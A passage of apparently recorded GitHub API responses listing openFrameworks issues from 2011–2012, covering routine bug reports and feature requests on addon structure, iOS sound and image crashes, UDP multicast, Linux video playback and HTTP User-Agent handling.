libraries' source code if they are in an addon's `/src` folder. This is in contradiction with @obviousjim's guide to addons' folder structure at http://ofxaddons.com/howto.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/896","comments":6,"milestone":null,"number":896,"html_url":"https://github.com/openframeworks/openFrameworks/issues/896","assignee":null,"title":"Makefile and ofxaddons.com guide don't agree regarding file structure","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"}],"closed_at":null,"created_at":"2012-02-05T15:20:42Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3099567,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-10T02:47:13Z","body":"it needs to handle all these things:\r\n\r\n- meshes vs point clouds\r\n- different types of meshes (depending on the triangles)\r\n- indexed vs non-indexed geometry\r\n- colors, normals, texcoords\r\n- ascii vs binary\r\n- loading from externally created/defined ply files","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/880","comments":1,"milestone":null,"number":880,"html_url":"https://github.com/openframeworks/openFrameworks/issues/880","assignee":null,"title":"test ofMesh::load/save rigorously","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-01-25T16:55:09Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":2967700,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-03T19:40:34Z","body":"If you set the proper switches on the iphone sound stream you can get it to play over whatever is playing on the users ipod without muting it. There are a bunch of switches for this behavior detailed in kAudioSessionProperty_Mode.\r\n\r\nThese would need to be set before initing the audio session. The other issue is that there are like 15-20 flags you can set. Maybe just a slightly higher level setting on the stream so that these behaivors could be set in the users testapp.mm","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/878","comments":0,"milestone":null,"number":878,"html_url":"https://github.com/openframeworks/openFrameworks/issues/878","assignee":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"title":"add a switch to the iphone soundstream to support ambient","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-01-24T16:41:17Z","state":"open","user":{"url":"https://api.github.com/users/jonbro","avatar_url":"https://secure.gravatar.com/avatar/893ec14dc008e3774afe5841115920d6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"893ec14dc008e3774afe5841115920d6","login":"jonbro","id":1597},"id":2952993,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-15T18:33:39Z","body":"change pan range to -1..1, right now is 0..1","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/875","comments":2,"milestone":null,"number":875,"html_url":"https://github.com/openframeworks/openFrameworks/issues/875","assignee":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"title":"ofOpenALSoundPlayer pan -1..1","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-01-21T00:01:45Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":2918619,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=6 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4938'), ('content-length', '49322'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"93bd237d518e2c23c29e5e7b340262a8"'), ('date', 'Tue, 29 May 2012 19:27:14 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-03-10T05:09:49Z","body":" testImg.saveImage(ofxiPhoneGetDocumentsDirectory() + \"test.png\");\r\ncrashes the App and results in this error:\r\n\r\nProgram received signal: \"SIGARBT\".\r\n\r\nerror thrown in this line:\r\n\r\n FreeImage_Save(fif, bmp, fileName.c_str());","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/872","comments":1,"milestone":null,"number":872,"html_url":"https://github.com/openframeworks/openFrameworks/issues/872","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"saveImage crashes in iOS Simulator","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-01-17T21:51:17Z","state":"open","user":{"url":"https://api.github.com/users/khlrqa","gravatar_id":"dfa7e4582a04e784d50c750ae51d894f","login":"khlrqa","avatar_url":"https://secure.gravatar.com/avatar/dfa7e4582a04e784d50c750ae51d894f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":53301},"id":2875276,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-01-07T15:38:14Z","body":"Hi -\r\n\r\nwhen it comes down to multicast communication over udp, it's is important that the correct ip address of the local interface is set. Most computers nowadays have several interfaces (wired and wireless). Whereas ofxUDPManager::BindMcast uses INADDR_ANY as the local address, this might be wrong if you are not using the default interface. In my case, I connect the computers in a local wlan. The wlan device is not the primary device on my machine.\r\n\r\nTherefore I rewrote the BindMcast function adding a third argument pLocal, the local Ip address of the network interface.\r\n\r\n```c++\r\nbool ofxUDPManager::BindMcast(char *pMcast, unsigned short usPort, char *pLocal)\r\n```\r\nchanging the line: \r\n\r\n```c++\r\nmreq.imr_interface.s_addr = pLocal == \"\" ? INADDR_ANY: inet_addr(pLocal);\r\n```\r\n\r\nwhich makes a different header file as well:\r\n\r\n```c++\r\nbool BindMcast(char *pMcast, unsigned short usPort, char *pLocal = \"\");\r\n```\r\n\r\nAs you can see, the pLocal Adress is optional, if omitted, INADDR_ANY is used (backwards compatibility).\r\n\r\n\r\nNOTE:\r\n\r\nI've added the function:\r\n\r\n```c++\r\nchar* GetInterfaceAddr(const char* interface); //returns the IP of a specified interface\r\n```\r\n\r\nto the ofxUDPManager as well. This function returns the IP adress of an interface (e.g. en1 on a mac for the airport device). This is useful in dhcp networks, where your own address always changes. The function itself looks like:\r\n\r\n```c++\r\n//--------------------------------------------------------------------------------\r\nchar* ofxUDPManager::GetInterfaceAddr(const char* interface)\r\n{\r\n\tint fd;\r\n\tstruct ifreq ifr;\r\n\tfd = socket(AF_INET, SOCK_DGRAM, 0);\r\n\tifr.ifr_addr.sa_family = AF_INET;\r\n\tstrncpy(ifr.ifr_name, interface, IFNAMSIZ-1);\r\n\tioctl(fd, SIOCGIFADDR, &ifr);\r\n\tclose(fd);\r\n\treturn(inet_ntoa(((struct sockaddr_in *)&ifr.ifr_addr)->sin_addr));\r\n}\r\n```\r\n\r\nPlease not that for this function, additional headers have to be included in ofxUDPManager.h:\r\n\r\n```c++\r\n#include \r\n```\r\n\r\nIf you consider the changes useful, theres a copy of the two files downloadable here:\r\nhttp://dl.dropbox.com/u/394122/ofxUDPManager_uh_07012012.zip\r\n\r\nregards,\r\nUrs Hofer","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/866","comments":0,"milestone":null,"number":866,"html_url":"https://github.com/openframeworks/openFrameworks/issues/866","assignee":null,"title":"Multicast & UDP: Local IP required when dealing with multiple network interfaces","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-01-07T15:38:14Z","state":"open","user":{"url":"https://api.github.com/users/urshofer","gravatar_id":"0424af1c917883090f0edddf55a8f21b","login":"urshofer","avatar_url":"https://secure.gravatar.com/avatar/0424af1c917883090f0edddf55a8f21b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":116976},"id":2756440,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-03T19:40:34Z","body":"I've posted here\r\nhttp://forum.openframeworks.cc/index.php/topic,8467.new.html\r\n\r\nAt the moment when you do sample.unloadSound() on iOS the app crashes with\r\n\r\n[Switching to thread 13059]\r\n[Switching to thread 13059]\r\nProgram received signal: “EXC_BAD_ACCESS”.\r\nwarning: Unable to read symbols for /Developer/Platforms/iPhoneOS.platform/DeviceSupport/4.2.1 (8C148)/Symbols/Developer/usr/lib/libXcodeDebuggerSupport.dylib (file not found).\r\n\r\n\r\nThis has been tested on the soundPlayerExample.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/863","comments":1,"milestone":null,"number":863,"html_url":"https://github.com/openframeworks/openFrameworks/issues/863","assignee":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"title":"unloadSound on iOS crashes","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-01-03T12:48:09Z","state":"open","user":{"url":"https://api.github.com/users/chrisoshea","gravatar_id":"62d775b0fa28bcde2d9d29405d059be3","login":"chrisoshea","avatar_url":"https://secure.gravatar.com/avatar/62d775b0fa28bcde2d9d29405d059be3?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":104786},"id":2710048,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-03T19:38:16Z","body":"ofxsynth doesn't wont to compile because this line:\r\nsource->audioOut( working, numFrames, numChannels, tickCount ) in ofxSoundUnit.cpp is wrong.\r\nthe canddates are:\r\n\r\nvirtual void audioOut( float * output, int bufferSize, int nChannels, int deviceID, long unsigned long tickCount )\r\nvirtual void audioOut( float * output, int bufferSize, int nChannels)\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/861","comments":10,"milestone":null,"number":861,"html_url":"https://github.com/openframeworks/openFrameworks/issues/861","assignee":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"title":"ofxSynth semantic issue","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-01-02T11:14:47Z","state":"open","user":{"url":"https://api.github.com/users/viniciolindo","gravatar_id":"7aa1a7f9bf0b838c0d99886c3682ac5d","login":"viniciolindo","avatar_url":"https://secure.gravatar.com/avatar/7aa1a7f9bf0b838c0d99886c3682ac5d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1298679},"id":2700549,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-03T19:40:34Z","body":"ofPixels has getPixels(), but OF has no equivalent getSamples() for sound.\r\n\r\nright now the best solution seems to be using libsndfile with OF http://forum.openframeworks.cc/index.php/topic,3502.0.html\r\n\r\nbut i would love to see the audio architecture for OF mirror the visual architecture better. this means ofSoundPlayer acts like ofVideoPlayer, and we need to add an ofSound object that mirrors ofPixels. ofSound should always store samples in memory, while ofSoundPlayer can stream audio from disk like ofVideoPlayer.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/856","comments":1,"milestone":null,"number":856,"html_url":"https://github.com/openframeworks/openFrameworks/issues/856","assignee":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"title":"allow access to individual sound samples","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":null,"created_at":"2011-12-30T02:33:19Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":2685556,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-29T04:43:24Z","body":"Today I came across this strange bug.\r\nAny OF app that needed to use the quicktime video grabber crashed at startup when the this was launched from xcode (eg. using build and run) yet it worked correctly when I opened the compiled app by doubleclicking it.\r\n\r\nThe error thrown was a EXCBADACCESS.\r\nthe function that threw this was ACWma1DecoderEntry\r\n\r\nJust some googling and I found that it had to do with Flip4Mac quicktime component.\r\nI uninstalled it and problem gone.\r\n\r\nThe strange thing is that I've had installed Flip4Mac since long ago, yet I updated iTunes a few days ago, that might have done this problem to arise.\r\n\r\nI don't know if this is actually an OF bug from its Quicktime implementation or what ever but it was really annoying getting across with it. Hope this helps others.\r\n\r\nCheers!","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/855","comments":0,"milestone":null,"number":855,"html_url":"https://github.com/openframeworks/openFrameworks/issues/855","assignee":null,"title":"video Grabber crashes with Flip4Mac","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-12-29T04:43:24Z","state":"open","user":{"url":"https://api.github.com/users/roymacdonald","gravatar_id":"fe632ca3d0c42747cfef88a95d942c4a","login":"roymacdonald","avatar_url":"https://secure.gravatar.com/avatar/fe632ca3d0c42747cfef88a95d942c4a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":974878},"id":2677212,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-23T14:13:39Z","body":"ofNode::resetTransform only resets orientation and position.\r\n\r\nI think setScale(1,1,1); needs to be called too in ofNode::resetTransform \r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/851","comments":0,"milestone":null,"number":851,"html_url":"https://github.com/openframeworks/openFrameworks/issues/851","assignee":null,"title":"ofNode::resetTransform does not reset scale","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-12-23T14:13:39Z","state":"open","user":{"url":"https://api.github.com/users/companje","gravatar_id":"30a7e135fe77636519d74d129c60e156","login":"companje","avatar_url":"https://secure.gravatar.com/avatar/30a7e135fe77636519d74d129c60e156?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":156066},"id":2647508,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-22T14:31:37Z","body":"if I add an external lib to my addon, I should provide headers for all platforms to be cross-platfomr like OF but the Makefile doesn't have any switch to ignore certain files which are not needed on linux.\r\n\r\nthe problem is that the OF Makefile compiles everythin under libs/mylib/include\r\n\r\nsee here for more: http://forum.openframeworks.cc/index.php?topic=6486.new;topicseen#new","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/849","comments":0,"milestone":null,"number":849,"html_url":"https://github.com/openframeworks/openFrameworks/issues/849","assignee":null,"title":"skip files in an addon with Makefile","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-12-22T14:31:37Z","state":"open","user":{"url":"https://api.github.com/users/benben","gravatar_id":"614a4e493d7c353296519bba720e77c5","login":"benben","avatar_url":"https://secure.gravatar.com/avatar/614a4e493d7c353296519bba720e77c5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":124513},"id":2637694,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-19T22:35:27Z","body":"But it does!\r\n\r\nSomehow it's casting from float to ofPoint, maybe using the ofVec3f( float _x=0.f, float _y=0.f, float _z=0.f ) constructor.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/846","comments":10,"milestone":null,"number":846,"html_url":"https://github.com/openframeworks/openFrameworks/issues/846","assignee":null,"title":"ofCircle(float, float) should not work","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-12-14T00:42:31Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":2546302,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-10T21:25:49Z","body":"Please add \"-Wreturn-type\" to the XCode project. I've noticed that it's a common mistake to add a return type but nothing is returned. Adding this option will at least show an error. I think Visual Studio shows an error already by default. You can add it like this in the project settings: http://img805.imageshack.us/img805/8745/screenshot20111210at102.png \r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/843","comments":0,"milestone":null,"number":843,"html_url":"https://github.com/openframeworks/openFrameworks/issues/843","assignee":null,"title":"Add return-type warning for XCode project files ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-12-10T21:25:49Z","state":"open","user":{"url":"https://api.github.com/users/roxlu","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":358809},"id":2512838,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-31T19:36:40Z","body":"Playing a movie crashes on exit on linux. Fedora 16 32-bit, latest git.\r\n\r\noutput:\r\n./moviePlayerExample\r\ndeleting video player\r\nterminate called after throwing an instance of 'Poco::SystemException'\r\n what(): System exception\r\nAborted (core dumped)\r\n\r\nbacktrace:\r\n#0 0x00110416 in __kernel_vsyscall ()\r\n#1 0x4623998f in raise () from /lib/libc.so.6\r\n#2 0x4623b2d5 in abort () from /lib/libc.so.6\r\n#3 0x46a9b74d in __gnu_cxx::__verbose_terminate_handler() ()\r\n from /usr/lib/libstdc++.so.6\r\n#4 0x46a994c4 in ?? () from /usr/lib/libstdc++.so.6\r\n#5 0x46a99500 in std::terminate() () from /usr/lib/libstdc++.so.6\r\n#6 0x46a9964f in __cxa_throw () from /usr/lib/libstdc++.so.6\r\n#7 0x08098bef in Poco::MutexImpl::lockImpl (this=0x814eb48)\r\n at /usr/include/Poco/Mutex_POSIX.h:82\r\n#8 0x08098d07 in Poco::FastMutex::lock (this=0x814eb48)\r\n at /usr/include/Poco/Mutex.h:257\r\n#9 0x0809907d in Poco::ScopedLock::ScopedLock (this=\r\n 0xbfffeabc, mutex=...) at /usr/include/Poco/ScopedLock.h:59\r\n#10 0x0809a340 in Poco::AbstractEvent, Poco::p_less > >, Poco::AbstractDelegate, Poco::FastMutex>::operator-=\r\n (this=0x814eb10, aDelegate=...) at /usr/include/Poco/AbstractEvent.h:195\r\n#11 0x080d40c5 in ofRemoveListener, ofEventArgs, ofGstUtils> (event=..., listener=0x82698e0, listenerMethod=\r\n (void (ofGstUtils::*)(ofGstUtils * const, ofEventArgs &)) 0x80d27b4 ) at ../../../openFrameworks/events/ofEventUtils.h:87\r\n#12 0x080d25be in ofGstUtils::close (this=0x82698e0)\r\nat ../../../openFrameworks/video/ofGstUtils.cpp:353\r\n#13 0x080d175e in ofGstUtils::~ofGstUtils (this=0x82698e0, \r\n __in_chrg=)\r\n at ../../../openFrameworks/video/ofGstUtils.cpp:85\r\n#14 0x080d32c4 in ofGstVideoUtils::~ofGstVideoUtils (this=0x82698d8, \r\n __in_chrg=)\r\n at ../../../openFrameworks/video/ofGstUtils.cpp:536\r\n#15 0x080d06ff in ofGstVideoPlayer::~ofGstVideoPlayer (this=0x82698b8, \r\n __in_chrg=, __vtt_parm=)\r\n at ../../../openFrameworks/video/ofGstVideoPlayer.cpp:19\r\n#16 0x080d07d9 in ofGstVideoPlayer::~ofGstVideoPlayer (this=0x82698b8, \r\n __in_chrg=, __vtt_parm=)\r\n at ../../../openFrameworks/video/ofGstVideoPlayer.cpp:21\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/840","comments":3,"milestone":null,"number":840,"html_url":"https://github.com/openframeworks/openFrameworks/issues/840","assignee":null,"title":"ofGstVideoPlayer crash on exit","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"closed_at":null,"created_at":"2011-12-08T11:53:55Z","state":"open","user":{"url":"https://api.github.com/users/gaborpapp","gravatar_id":"9cb0f8a67c238d2aa91d9a7957b9ef4b","login":"gaborpapp","avatar_url":"https://secure.gravatar.com/avatar/9cb0f8a67c238d2aa91d9a7957b9ef4b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":203532},"id":2486705,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-12T12:30:53Z","body":"right now the only way to change the type of pixels is to go through ofImage and set image type there.\r\n\r\nseems like this should be moved into ofPixels.\r\n\r\nthoughts?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/838","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":838,"html_url":"https://github.com/openframeworks/openFrameworks/issues/838","assignee":{"url":"https://api.github.com/users/obviousjim","gravatar_id":"3bcf955bca297a223e9daa1f997bfad5","login":"obviousjim","avatar_url":"https://secure.gravatar.com/avatar/3bcf955bca297a223e9daa1f997bfad5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":321434},"title":"ofPixels has no setImageType","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-12-07T16:30:59Z","state":"open","user":{"url":"https://api.github.com/users/obviousjim","gravatar_id":"3bcf955bca297a223e9daa1f997bfad5","login":"obviousjim","avatar_url":"https://secure.gravatar.com/avatar/3bcf955bca297a223e9daa1f997bfad5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":321434},"id":2476561,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-05T21:44:08Z","body":"I made a small example which uses the Wikipedia xml api to make queries which are then parsed by an ofXmlSettings object. The problem is Wikipedia complains there is no User-Agent string and dosen't return any data, while threatening to block by IP.\r\n\r\nThe fix was as simple as adding this to ofURLFileLoader.cpp line 144:\r\n
\r\n\t\tHTTPRequest req(HTTPRequest::HTTP_GET, path, HTTPMessage::HTTP_1_1);\r\n        \treq.add(\"User-Agent\", \"Mozilla/5.0 (iPad; U; CPU OS 3_2_1 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/7B405\");\r\n
\r\n\r\nIt uses the iOS safari user agent string. I think the best fix is to expose the HTTPRequest and HTTPResponse Poco objects so that, like in the ofxHttpUtils, you could add manually the string/value to the request before sending it. I don't think it should be set ti a default within the class. Also, it would be awesome to be able to add data into and pull data out of the requests. This is a great wrapper, especially the threading, I'd just like to have the full req/response control ... perhaps provide a method to add Poco::HttpRequests and recieve Poco::HttpResponses which could be set as references inside the ofxHttpRequest/ofxHttpResponse objects?\r\n\r\nOn another note, ofURLFileLoader seems like a rather specific name for a regular HTTP action. What's wrong with ofHttpSession etc since I've found it useful for more then just","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/837","comments":0,"milestone":null,"number":837,"html_url":"https://github.com/openframeworks/openFrameworks/issues/837","assignee":null,"title":"ofURLFileLoader dosen't set HTTP User-Agent string and there is no way to set 